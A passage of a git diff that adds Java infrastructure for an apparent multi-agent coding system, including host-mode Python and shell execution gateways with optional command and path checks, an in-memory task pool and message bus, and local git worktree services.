+ String fallbackLine = pickFirstNonBlankLine(fallback);
+ return fallbackLine == null ? "no additional details" : fallbackLine;
+ }
+
+ private String pickFirstNonBlankLine(String value) {
+ if (value == null || value.isBlank()) {
+ return null;
+ }
+ for (String line : value.split("\\R")) {
+ if (!line.isBlank()) {
+ return line.trim();
+ }
+ }
+ return null;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/HostCodeSandbox.java b/src/main/java/com/openmanus/agentteam/infra/HostCodeSandbox.java
new file mode 100644
index 0000000..98126c4
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/HostCodeSandbox.java
@@ -0,0 +1,120 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.aiframework.runtime.AiCodeExecutionResult;
+import com.openmanus.aiframework.runtime.AiCodeSandbox;
+import lombok.extern.slf4j.Slf4j;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Host-mode Python code sandbox for agentteam coding sub-agents.
+ *
+ * Executes Python scripts directly on the Host OS using {@code python} or {@code python3}.
+ * Falls back gracefully if Python is not installed on the Host.
+ */
+@Slf4j
+public class HostCodeSandbox implements AiCodeSandbox {
+
+ private static final int DEFAULT_TIMEOUT_SECONDS = 30;
+
+ @Override
+ public AiCodeExecutionResult executePython(String script, int timeoutSeconds) {
+ if (script == null || script.isBlank()) {
+ return new AiCodeExecutionResult("", "Python script is blank", -1);
+ }
+ int effectiveTimeout = timeoutSeconds > 0 ? timeoutSeconds : DEFAULT_TIMEOUT_SECONDS;
+
+ String pythonCommand = resolvePythonCommand();
+ if (pythonCommand == null) {
+ return new AiCodeExecutionResult(
+ "",
+ "Python is not installed on the Host. Shell commands are available via runShellCommand.",
+ -1
+ );
+ }
+
+ try {
+ Path tempScript = Files.createTempFile("openmanus_host_py_", ".py");
+ try {
+ Files.writeString(tempScript, script, StandardCharsets.UTF_8);
+
+ ProcessBuilder processBuilder = new ProcessBuilder(pythonCommand, tempScript.toString());
+ processBuilder.redirectErrorStream(false);
+ Process process = processBuilder.start();
+
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ ByteArrayOutputStream stderr = new ByteArrayOutputStream();
+
+ Thread stdoutReader = pipeAsync(process.getInputStream(), stdout);
+ Thread stderrReader = pipeAsync(process.getErrorStream(), stderr);
+ stdoutReader.start();
+ stderrReader.start();
+
+ boolean finished = process.waitFor(effectiveTimeout, TimeUnit.SECONDS);
+ if (!finished) {
+ process.destroyForcibly();
+ stdoutReader.interrupt();
+ stderrReader.interrupt();
+ return new AiCodeExecutionResult("", "Python execution timed out after " + effectiveTimeout + "s", 124);
+ }
+ stdoutReader.join(Math.max(1, effectiveTimeout));
+ stderrReader.join(Math.max(1, effectiveTimeout));
+
+ return new AiCodeExecutionResult(
+ stdout.toString(StandardCharsets.UTF_8),
+ stderr.toString(StandardCharsets.UTF_8),
+ process.exitValue()
+ );
+ } finally {
+ try {
+ Files.deleteIfExists(tempScript);
+ } catch (IOException ignored) {
+ }
+ }
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return new AiCodeExecutionResult("", "Python execution interrupted", 130);
+ } catch (Exception e) {
+ log.warn("Host Python execution failed: {}", e.getMessage());
+ return new AiCodeExecutionResult("", "Python execution failed: " + e.getMessage(), 1);
+ }
+ }
+
+ private String resolvePythonCommand() {
+ for (String candidate : new String[]{"python3", "python"}) {
+ try {
+ ProcessBuilder pb = new ProcessBuilder(
+ isWindows() ? "cmd" : "sh",
+ isWindows() ? "/c" : "-c",
+ candidate + " --version"
+ );
+ Process process = pb.start();
+ boolean finished = process.waitFor(5, TimeUnit.SECONDS);
+ if (finished && process.exitValue() == 0) {
+ return candidate;
+ }
+ } catch (Exception ignored) {
+ }
+ }
+ return null;
+ }
+
+ private Thread pipeAsync(java.io.InputStream source, OutputStream target) {
+ return new Thread(() -> {
+ try {
+ source.transferTo(target);
+ } catch (IOException ignored) {
+ }
+ });
+ }
+
+ private static boolean isWindows() {
+ return System.getProperty("os.name", "").toLowerCase().contains("win");
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/HostModeExecutionGateway.java b/src/main/java/com/openmanus/agentteam/infra/HostModeExecutionGateway.java
new file mode 100644
index 0000000..edc4822
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/HostModeExecutionGateway.java
@@ -0,0 +1,269 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.aiframework.runtime.AiSandboxCommandResult;
+import com.openmanus.aiframework.runtime.AiSessionSandboxGateway;
+import com.openmanus.aiframework.runtime.AiSessionSandboxInfo;
+import lombok.extern.slf4j.Slf4j;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Optional;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Host-mode execution gateway for agentteam coding sub-agents.
+ *
+ * Unlike the Docker sandbox gateway, ALL operations (shell, file I/O, path resolution)
+ * execute directly on the Host OS filesystem. This allows coding sub-agents to work
+ * inside git worktrees created by {@code ParallelCodingOrchestrator}.
+ *
+ * Thread-safety: stateless — path resolution is per-call and Host OS thread-safe.
+ */
+@Slf4j
+public class HostModeExecutionGateway implements AiSessionSandboxGateway {
+
+ private static final int DEFAULT_TIMEOUT_SECONDS = 15;
+
+ private final BashSecurityChecker bashSecurityChecker;
+
+ /**
+ * Maps sessionId → worktree root path for file operation boundary checks.
+ * Populated when {@link #executeCommand} is called with a valid cwd.
+ */
+ private final Map worktreeRoots = new ConcurrentHashMap<>();
+
+ /**
+ * Creates a HostModeExecutionGateway without security checks.
+ * Prefer {@link #HostModeExecutionGateway(BashSecurityChecker)} for production use.
+ */
+ public HostModeExecutionGateway() {
+ this.bashSecurityChecker = null;
+ }
+
+ /**
+ * Creates a HostModeExecutionGateway with bash security checking enabled.
+ */
+ public HostModeExecutionGateway(BashSecurityChecker bashSecurityChecker) {
+ this.bashSecurityChecker = Objects.requireNonNull(bashSecurityChecker, "bashSecurityChecker");
+ }
+
+ @Override
+ public Optional getSandboxInfo(String sessionId) {
+ return Optional.empty();
+ }
+
+ @Override
+ public AiSessionSandboxInfo getOrCreateSandbox(String sessionId) {
+ String workspaceRoot = getWorkspaceRoot(sessionId);
+ return new AiSessionSandboxInfo(sessionId, null, workspaceRoot, null, null, "HOST_MODE");
+ }
+
+ @Override
+ public String getWorkspaceRoot(String sessionId) {
+ return System.getProperty("user.dir");
+ }
+
+ /**
+ * Resolves a user path WITHOUT sandbox remapping.
+ *
+ * When a worktree root has been registered for this session (via a prior
+ * {@link #executeCommand} call), relative paths are resolved against that
+ * worktree root. Otherwise, they fall back to the JVM current working directory.
+ *
+ * Absolute paths are returned as-is — they will be validated later by
+ * {@link #validateFileOperationPath}.
+ */
+ @Override
+ public String resolveWorkspacePath(String sessionId, String userPath) {
+ Path basePath = resolveEffectiveBase(sessionId);
+ if (userPath == null || userPath.isBlank()) {
+ return basePath.toString();
+ }
+ Path candidate = Paths.get(userPath);
+ if (candidate.isAbsolute()) {
+ return candidate.normalize().toString();
+ }
+ return basePath.resolve(candidate).normalize().toString();
+ }
+
+ /**
+ * Returns the effective base path for resolving relative paths for a session.
+ * Prefers the registered worktree root (set by {@link #executeCommand}) over
+ * the JVM current working directory.
+ */
+ private Path resolveEffectiveBase(String sessionId) {
+ Path worktreeRoot = worktreeRoots.get(sessionId);
+ if (worktreeRoot != null) {
+ return worktreeRoot;
+ }
+ return Paths.get("").toAbsolutePath().normalize();
+ }
+
+ /**
+ * Executes a shell command on the Host OS using {@link ProcessBuilder}.
+ */
+ @Override
+ public AiSandboxCommandResult executeCommand(String sessionId, String command, String cwd, int timeoutSeconds) {
+ if (command == null || command.isBlank()) {
+ return new AiSandboxCommandResult("", "command is blank", -1);
+ }
+
+ // Security check: intercept dangerous commands before they reach the Host OS
+ if (bashSecurityChecker != null && bashSecurityChecker.isEnabled()) {
+ BashSecurityCheckResult checkResult = bashSecurityChecker.check(command, cwd, sessionId);
+ if (!checkResult.allowed()) {
+ log.warn("HostModeExecutionGateway BLOCKED command: sessionId={} rule={} command={}",
+ sessionId, checkResult.rule(), command);
+ return new AiSandboxCommandResult("", checkResult.reason(), -1);
+ }
+ }
+
+ Path workingDir = resolveCwd(cwd);
+
+ // Register worktree root for file operation boundary checks
+ if (sessionId != null && cwd != null && !cwd.isBlank()) {
+ worktreeRoots.put(sessionId, workingDir);
+ }
+ int effectiveTimeout = timeoutSeconds > 0 ? timeoutSeconds : DEFAULT_TIMEOUT_SECONDS;
+ try {
+ ProcessBuilder processBuilder = new ProcessBuilder();
+ if (isWindows()) {
+ processBuilder.command("cmd", "/c", command);
+ } else {
+ processBuilder.command("sh", "-c", command);
+ }
+ processBuilder.directory(workingDir.toFile());
+ processBuilder.redirectErrorStream(false);
+
+ Process process = processBuilder.start();
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ ByteArrayOutputStream stderr = new ByteArrayOutputStream();
+
+ Thread stdoutReader = new Thread(() -> {
+ try {
+ process.getInputStream().transferTo(stdout);
+ } catch (IOException ignored) {
+ }
+ });
+ Thread stderrReader = new Thread(() -> {
+ try {
+ process.getErrorStream().transferTo(stderr);
+ } catch (IOException ignored) {
+ }
+ });
+ stdoutReader.start();
+ stderrReader.start();
+
+ boolean finished = process.waitFor(effectiveTimeout, TimeUnit.SECONDS);
+ if (!finished) {
+ process.destroyForcibly();
+ stdoutReader.interrupt();
+ stderrReader.interrupt();
+ return new AiSandboxCommandResult(
+ stdout.toString(StandardCharsets.UTF_8),
+ stderr.toString(StandardCharsets.UTF_8) + "\n执行超时",
+ 124
+ );
+ }
+ stdoutReader.join(Math.max(1, effectiveTimeout));
+ stderrReader.join(Math.max(1, effectiveTimeout));
+
+ int exitCode = process.exitValue();
+ return new AiSandboxCommandResult(
+ stdout.toString(StandardCharsets.UTF_8),
+ stderr.toString(StandardCharsets.UTF_8),
+ exitCode
+ );
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return new AiSandboxCommandResult("", "执行被中断: " + e.getMessage(), 130);
+ } catch (Exception e) {
+ log.warn("Host command execution failed: cwd={}, command={}, error={}", workingDir, command, e.getMessage());
+ return new AiSandboxCommandResult("", "执行失败: " + e.getMessage(), 1);
+ }
+ }
+
+ /**
+ * Not supported in host mode — returns an error result.
+ */
+ @Override
+ public AiSandboxCommandResult openBrowserUrl(String sessionId, String url) {
+ return new AiSandboxCommandResult("", "浏览器操作在 Host 模式下不可用", -1);
+ }
+
+ /**
+ * Reads a text file directly from the Host filesystem.
+ * When security is enabled, validates the path is within a registered worktree root.
+ */
+ @Override
+ public String readTextFile(String sessionId, String path) {
+ Path filePath = Paths.get(resolveWorkspacePath(sessionId, path));
+ validateFileOperationPath(sessionId, filePath);
+ try {
+ return Files.readString(filePath, StandardCharsets.UTF_8);
+ } catch (IOException e) {
+ throw new RuntimeException("读取文件失败: " + filePath + " — " + e.getMessage(), e);
+ }
+ }
+
+ /**
+ * Writes content to a text file on the Host filesystem.
+ * When security is enabled, validates the path is within a registered worktree root.
+ */
+ @Override
+ public void writeTextFile(String sessionId, String path, String content) {
+ Path filePath = Paths.get(resolveWorkspacePath(sessionId, path));
+ validateFileOperationPath(sessionId, filePath);
+ try {
+ Path parent = filePath.getParent();
+ if (parent != null) {
+ Files.createDirectories(parent);
+ }
+ Files.writeString(filePath, content == null ? "" : content, StandardCharsets.UTF_8);
+ } catch (IOException e) {
+ throw new RuntimeException("写入文件失败: " + filePath + " — " + e.getMessage(), e);
+ }
+ }
+
+ /**
+ * Validates that a file operation path is within the worktree boundary for the session.
+ * Only enforced when BashSecurityChecker is active.
+ */
+ private void validateFileOperationPath(String sessionId, Path resolvedPath) {
+ if (bashSecurityChecker == null || !bashSecurityChecker.isEnabled()) {
+ return;
+ }
+ Path worktreeRoot = worktreeRoots.get(sessionId);
+ if (worktreeRoot == null) {
+ // No worktree root registered yet — allow (first shell command will register one)
+ return;
+ }
+ Path normalized = resolvedPath.toAbsolutePath().normalize();
+ if (!normalized.startsWith(worktreeRoot)) {
+ String message = "安全策略拒绝 (PATH_TRAVERSAL): "
+ + "文件操作试图访问工作树之外的路径: " + resolvedPath
+ + " (worktreeRoot=" + worktreeRoot + ")";
+ log.warn("HostModeExecutionGateway BLOCKED file operation: sessionId={} path={} worktreeRoot={}",
+ sessionId, resolvedPath, worktreeRoot);
+ throw new SecurityException(message);
+ }
+ }
+
+ private Path resolveCwd(String cwd) {
+ if (cwd == null || cwd.isBlank()) {
+ return Paths.get("").toAbsolutePath().normalize();
+ }
+ return Paths.get(cwd).toAbsolutePath().normalize();
+ }
+
+ private static boolean isWindows() {
+ return System.getProperty("os.name", "").toLowerCase().contains("win");
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/InMemoryAgentMessageBus.java b/src/main/java/com/openmanus/agentteam/infra/InMemoryAgentMessageBus.java
new file mode 100644
index 0000000..7d8d706
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/InMemoryAgentMessageBus.java
@@ -0,0 +1,64 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.model.AgentMessage;
+import com.openmanus.agentteam.domain.port.AgentMessageBusPort;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * In-memory mailbox implementation for agent-to-agent communication.
+ */
+public class InMemoryAgentMessageBus implements AgentMessageBusPort {
+
+ private final ConcurrentHashMap> mailboxes = new ConcurrentHashMap<>();
+
+ @Override
+ public void send(AgentMessage message) {
+ if (message == null || message.toAgentId() == null || message.toAgentId().isBlank()) {
+ return;
+ }
+ mailboxes.computeIfAbsent(message.toAgentId(), ignored -> new ArrayList<>());
+ List mailbox = mailboxes.get(message.toAgentId());
+ synchronized (mailbox) {
+ mailbox.add(message);
+ }
+ }
+
+ @Override
+ public List fetchUnread(String agentId) {
+ List mailbox = mailboxes.get(agentId);
+ if (mailbox == null) {
+ return List.of();
+ }
+ synchronized (mailbox) {
+ List unread = new ArrayList<>();
+ for (AgentMessage message : mailbox) {
+ if (!message.read()) {
+ unread.add(message);
+ }
+ }
+ return unread;
+ }
+ }
+
+ @Override
+ public void markAsRead(String agentId, List messageIds) {
+ List mailbox = mailboxes.get(agentId);
+ if (mailbox == null || messageIds == null || messageIds.isEmpty()) {
+ return;
+ }
+ Set readIds = new HashSet<>(messageIds);
+ synchronized (mailbox) {
+ for (int i = 0; i < mailbox.size(); i++) {
+ AgentMessage message = mailbox.get(i);
+ if (message != null && message.messageId() != null && readIds.contains(message.messageId())) {
+ mailbox.set(i, message.markRead(System.currentTimeMillis()));
+ }
+ }
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskGroupRepository.java b/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskGroupRepository.java
new file mode 100644
index 0000000..16689e2
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskGroupRepository.java
@@ -0,0 +1,62 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+import com.openmanus.agentteam.domain.port.TaskGroupRepositoryPort;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Optional;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * In-memory repository for task-group runtime state.
+ */
+public class InMemoryTaskGroupRepository implements TaskGroupRepositoryPort {
+
+ private final ConcurrentHashMap groups = new ConcurrentHashMap<>();
+ private final ConcurrentHashMap subTasks = new ConcurrentHashMap<>();
+ private final ConcurrentHashMap> groupToTaskIds = new ConcurrentHashMap<>();
+
+ @Override
+ public void saveGroup(TaskGroup group) {
+ if (group == null) {
+ return;
+ }
+ groups.put(group.getGroupId(), group);
+ }
+
+ @Override
+ public Optional findGroup(String groupId) {
+ return Optional.ofNullable(groups.get(groupId));
+ }
+
+ @Override
+ public void saveSubTask(SubTask subTask) {
+ if (subTask == null) {
+ return;
+ }
+ subTasks.put(subTask.getTaskId(), subTask);
+ groupToTaskIds.computeIfAbsent(subTask.getGroupId(), ignored -> ConcurrentHashMap.newKeySet())
+ .add(subTask.getTaskId());
+ }
+
+ @Override
+ public Optional findSubTask(String taskId) {
+ return Optional.ofNullable(subTasks.get(taskId));
+ }
+
+ @Override
+ public List findSubTasksByGroupId(String groupId) {
+ Set taskIds = groupToTaskIds.getOrDefault(groupId, Set.of());
+ List results = new ArrayList<>(taskIds.size());
+ for (String taskId : taskIds) {
+ SubTask subTask = subTasks.get(taskId);
+ if (subTask != null) {
+ results.add(subTask);
+ }
+ }
+ return results;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskPool.java b/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskPool.java
new file mode 100644
index 0000000..15e6b71
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/InMemoryTaskPool.java
@@ -0,0 +1,165 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.application.InvalidTaskStateTransitionException;
+import com.openmanus.agentteam.application.TaskOwnershipViolationException;
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskStatus;
+import com.openmanus.agentteam.domain.port.TaskGroupRepositoryPort;
+import com.openmanus.agentteam.domain.port.TaskPoolPort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * In-memory task pool with a locked claim section to prevent duplicate claim.
+ */
+@Slf4j
+public class InMemoryTaskPool implements TaskPoolPort {
+
+ private final ConcurrentLinkedQueue pendingQueue = new ConcurrentLinkedQueue<>();
+ private final TaskGroupRepositoryPort repository;
+ private final ReentrantLock claimLock = new ReentrantLock();
+
+ public InMemoryTaskPool(TaskGroupRepositoryPort repository) {
+ this.repository = repository;
+ }
+
+ @Override
+ public void submit(SubTask subTask) {
+ if (subTask == null) {
+ return;
+ }
+ repository.saveSubTask(subTask);
+ pendingQueue.offer(subTask.getTaskId());
+ log.info(
+ "TaskPool submit: groupId={}, taskId={}, title={}, pendingQueueSize={}",
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ pendingQueue.size()
+ );
+ }
+
+ @Override
+ public Optional claimNext(String agentId) {
+ claimLock.lock();
+ try {
+ while (!pendingQueue.isEmpty()) {
+ String taskId = pendingQueue.poll();
+ if (taskId == null) {
+ break;
+ }
+ Optional maybeTask = repository.findSubTask(taskId);
+ if (maybeTask.isEmpty()) {
+ continue;
+ }
+ SubTask subTask = maybeTask.get();
+ if (subTask.getStatus() != TaskStatus.PENDING) {
+ continue;
+ }
+ subTask.claim(agentId, System.currentTimeMillis());
+ repository.saveSubTask(subTask);
+ log.info(
+ "TaskPool claim success: agentId={}, groupId={}, taskId={}, title={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle()
+ );
+ return Optional.of(subTask);
+ }
+ return Optional.empty();
+ } finally {
+ claimLock.unlock();
+ }
+ }
+
+ @Override
+ public void markRunning(String taskId, String agentId) {
+ SubTask task = requireOwnedTask(taskId, agentId);
+ requireStatus(task, TaskStatus.CLAIMED, "Only claimed task can be marked running");
+ task.markRunning(System.currentTimeMillis());
+ repository.saveSubTask(task);
+ log.info(
+ "TaskPool mark running: agentId={}, groupId={}, taskId={}, title={}",
+ agentId,
+ task.getGroupId(),
+ task.getTaskId(),
+ task.getTitle()
+ );
+ }
+
+ @Override
+ public void markSucceeded(String taskId, String agentId, String summary, String detail) {
+ SubTask task = requireOwnedTask(taskId, agentId);
+ requireStatus(task, TaskStatus.RUNNING, "Only running task can be marked succeeded");
+ task.markSucceeded(summary, detail, System.currentTimeMillis());
+ repository.saveSubTask(task);
+ log.info(
+ "TaskPool mark succeeded: agentId={}, groupId={}, taskId={}, title={}, summary={}",
+ task.getAssignedAgentId(),
+ task.getGroupId(),
+ task.getTaskId(),
+ task.getTitle(),
+ summarize(summary)
+ );
+ }
+
+ @Override
+ public void markFailed(String taskId, String agentId, String errorMessage) {
+ SubTask task = requireOwnedTask(taskId, agentId);
+ requireStatus(task, TaskStatus.RUNNING, "Only running task can be marked failed");
+ task.markFailed(errorMessage, System.currentTimeMillis());
+ repository.saveSubTask(task);
+ log.warn(
+ "TaskPool mark failed: agentId={}, groupId={}, taskId={}, title={}, error={}",
+ task.getAssignedAgentId(),
+ task.getGroupId(),
+ task.getTaskId(),
+ task.getTitle(),
+ summarize(errorMessage)
+ );
+ }
+
+ @Override
+ public Optional findById(String taskId) {
+ return repository.findSubTask(taskId);
+ }
+
+ @Override
+ public List findByGroupId(String groupId) {
+ return repository.findSubTasksByGroupId(groupId);
+ }
+
+ private SubTask requireOwnedTask(String taskId, String agentId) {
+ SubTask task = repository.findSubTask(taskId)
+ .orElseThrow(() -> new InvalidTaskStateTransitionException("Task not found: " + taskId));
+ if (task.getAssignedAgentId() == null || task.getAssignedAgentId().isBlank()) {
+ throw new InvalidTaskStateTransitionException("Task has not been claimed yet: " + taskId);
+ }
+ if (!task.getAssignedAgentId().equals(agentId)) {
+ throw new TaskOwnershipViolationException("Task is not owned by agent: " + agentId);
+ }
+ if (task.getStatus().isTerminal()) {
+ throw new InvalidTaskStateTransitionException("Task already finished: " + taskId);
+ }
+ return task;
+ }
+
+ private void requireStatus(SubTask task, TaskStatus expectedStatus, String message) {
+ if (task.getStatus() != expectedStatus) {
+ throw new InvalidTaskStateTransitionException(message + ", currentStatus=" + task.getStatus());
+ }
+ }
+
+ private String summarize(String value) {
+ if (value == null || value.isBlank()) {
+ return "";
+ }
+ String trimmed = value.trim();
+ return trimmed.length() > 120 ? trimmed.substring(0, 120) + "..." : trimmed;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/LocalCommandExecutionService.java b/src/main/java/com/openmanus/agentteam/infra/LocalCommandExecutionService.java
new file mode 100644
index 0000000..16f43a0
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/LocalCommandExecutionService.java
@@ -0,0 +1,54 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.port.CommandExecutionPort;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Path;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Executes local shell commands for integration verification.
+ */
+public class LocalCommandExecutionService implements CommandExecutionPort {
+
+ private static final long COMMAND_TIMEOUT_SECONDS = 60L;
+
+ @Override
+ public CommandExecutionResult execute(Path workingDirectory, String command) {
+ if (workingDirectory == null) {
+ throw new IllegalArgumentException("workingDirectory must not be null");
+ }
+ if (command == null || command.isBlank()) {
+ throw new IllegalArgumentException("command must not be blank");
+ }
+ List shellCommand = buildShellCommand(command.trim());
+ ProcessBuilder processBuilder = new ProcessBuilder(shellCommand);
+ processBuilder.directory(workingDirectory.toFile());
+ try {
+ Process process = processBuilder.start();
+ boolean finished = process.waitFor(COMMAND_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ if (!finished) {
+ process.destroyForcibly();
+ return new CommandExecutionResult(124, "", "command timed out: " + command);
+ }
+ String stdout = new String(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
+ String stderr = new String(process.getErrorStream().readAllBytes(), StandardCharsets.UTF_8);
+ return new CommandExecutionResult(process.exitValue(), stdout, stderr);
+ } catch (IOException exception) {
+ throw new GitWorktreeProvisioningException("failed to start verification command: " + command, exception);
+ } catch (InterruptedException exception) {
+ Thread.currentThread().interrupt();
+ throw new GitWorktreeProvisioningException("verification command interrupted: " + command, exception);
+ }
+ }
+
+ private List buildShellCommand(String command) {
+ boolean windows = System.getProperty("os.name", "").toLowerCase().contains("win");
+ if (windows) {
+ return List.of("powershell", "-NoProfile", "-Command", command);
+ }
+ return List.of("sh", "-lc", command);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/LocalGitIntegrationService.java b/src/main/java/com/openmanus/agentteam/infra/LocalGitIntegrationService.java
new file mode 100644
index 0000000..a7f3752
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/LocalGitIntegrationService.java
@@ -0,0 +1,85 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.port.GitIntegrationPort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.Path;
+import java.util.List;
+
+/**
+ * Local Git integration adapter for creating branches and cherry-picking commits.
+ */
+@Slf4j
+public class LocalGitIntegrationService implements GitIntegrationPort {
+
+ private final GitCommandRunner commandRunner;
+
+ public LocalGitIntegrationService() {
+ this(new ProcessGitCommandRunner());
+ }
+
+ LocalGitIntegrationService(GitCommandRunner commandRunner) {
+ this.commandRunner = commandRunner;
+ }
+
+ @Override
+ public String createIntegrationBranch(Path repositoryPath, String branchName, String baseRef) {
+ Path repo = normalize(repositoryPath);
+ validate(branchName, "branchName");
+ validate(baseRef, "baseRef");
+ log.info("Git integration creating branch: repositoryPath={}, branch={}, baseRef={}", repo, branchName, baseRef);
+ requireSuccess(repo, List.of("git", "checkout", "-b", branchName.trim(), baseRef.trim()),
+ "failed to create integration branch " + branchName);
+ log.info("Git integration branch ready: repositoryPath={}, branch={}", repo, branchName);
+ return branchName.trim();
+ }
+
+ @Override
+ public void cherryPickCommit(Path repositoryPath, String commitSha) {
+ Path repo = normalize(repositoryPath);
+ validate(commitSha, "commitSha");
+ log.info("Git integration cherry-picking commit: repositoryPath={}, commitSha={}", repo, commitSha);
+ requireSuccess(repo, List.of("git", "cherry-pick", commitSha.trim()),
+ "failed to cherry-pick commit " + commitSha);
+ log.info("Git integration cherry-pick completed: repositoryPath={}, commitSha={}", repo, commitSha);
+ }
+
+ private GitCommandResult requireSuccess(Path workingDirectory, List command, String failureMessage) {
+ GitCommandResult result = commandRunner.run(workingDirectory, command);
+ if (!result.isSuccess()) {
+ throw new GitWorktreeProvisioningException(failureMessage + ": " + firstNonBlankLine(result.stderr(), result.stdout()));
+ }
+ return result;
+ }
+
+ private Path normalize(Path path) {
+ if (path == null) {
+ throw new IllegalArgumentException("repositoryPath must not be null");
+ }
+ return path.toAbsolutePath().normalize();
+ }
+
+ private void validate(String value, String fieldName) {
+ if (value == null || value.isBlank()) {
+ throw new IllegalArgumentException(fieldName + " must not be blank");
+ }
+ }
+
+ private String firstNonBlankLine(String primary, String fallback) {
+ if (primary != null) {
+ for (String line : primary.split("\\R")) {
+ if (!line.isBlank()) {
+ return line.trim();
+ }
+ }
+ }
+ if (fallback != null) {
+ for (String line : fallback.split("\\R")) {
+ if (!line.isBlank()) {
+ return line.trim();
+ }
+ }
+ }
+ return "no additional details";
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/LocalGitWorkspaceService.java b/src/main/java/com/openmanus/agentteam/infra/LocalGitWorkspaceService.java
new file mode 100644
index 0000000..703652f
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/LocalGitWorkspaceService.java
@@ -0,0 +1,181 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.model.GitWorkspaceSnapshot;
+import com.openmanus.agentteam.domain.port.GitWorkspacePort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Inspects and commits changes inside one local Git worktree.
+ */
+@Slf4j
+public class LocalGitWorkspaceService implements GitWorkspacePort {
+
+ private static final String DEFAULT_COMMIT_USER_NAME = "OpenManus AgentTeam";
+ private static final String DEFAULT_COMMIT_USER_EMAIL = "agentteam@openmanus.local";
+
+ private final GitCommandRunner commandRunner;
+
+ public LocalGitWorkspaceService() {
+ this(new ProcessGitCommandRunner());
+ }
+
+ LocalGitWorkspaceService(GitCommandRunner commandRunner) {
+ this.commandRunner = commandRunner;
+ }
+
+ @Override
+ public GitWorkspaceSnapshot inspectWorkspace(Path worktreePath) {
+ Path normalizedWorktreePath = normalizeWorktreePath(worktreePath);
+ GitCommandResult branchResult = requireSuccess(
+ normalizedWorktreePath,
+ List.of("git", "branch", "--show-current"),
+ "failed to resolve worktree branch"
+ );
+ GitCommandResult headResult = requireSuccess(
+ normalizedWorktreePath,
+ List.of("git", "rev-parse", "HEAD"),
+ "failed to resolve worktree HEAD"
+ );
+ GitCommandResult statusResult = requireSuccess(
+ normalizedWorktreePath,
+ List.of("git", "status", "--short"),
+ "failed to inspect worktree status"
+ );
+
+ List changedFiles = parseChangedFiles(statusResult.stdout());
+ GitWorkspaceSnapshot snapshot = new GitWorkspaceSnapshot(
+ blankToNull(branchResult.stdout()),
+ blankToNull(headResult.stdout()),
+ changedFiles.isEmpty(),
+ changedFiles
+ );
+ log.info(
+ "Git workspace inspected: branch={}, worktreePath={}, clean={}, changedFiles={}",
+ snapshot.branchName(),
+ normalizedWorktreePath,
+ snapshot.clean(),
+ snapshot.changedFiles()
+ );
+ return snapshot;
+ }
+
+ @Override
+ public String commitAllChanges(Path worktreePath, String commitMessage) {
+ Path normalizedWorktreePath = normalizeWorktreePath(worktreePath);
+ validateRequired(commitMessage, "commitMessage");
+ GitWorkspaceSnapshot beforeCommit = inspectWorkspace(normalizedWorktreePath);
+ if (beforeCommit.clean()) {
+ log.info(
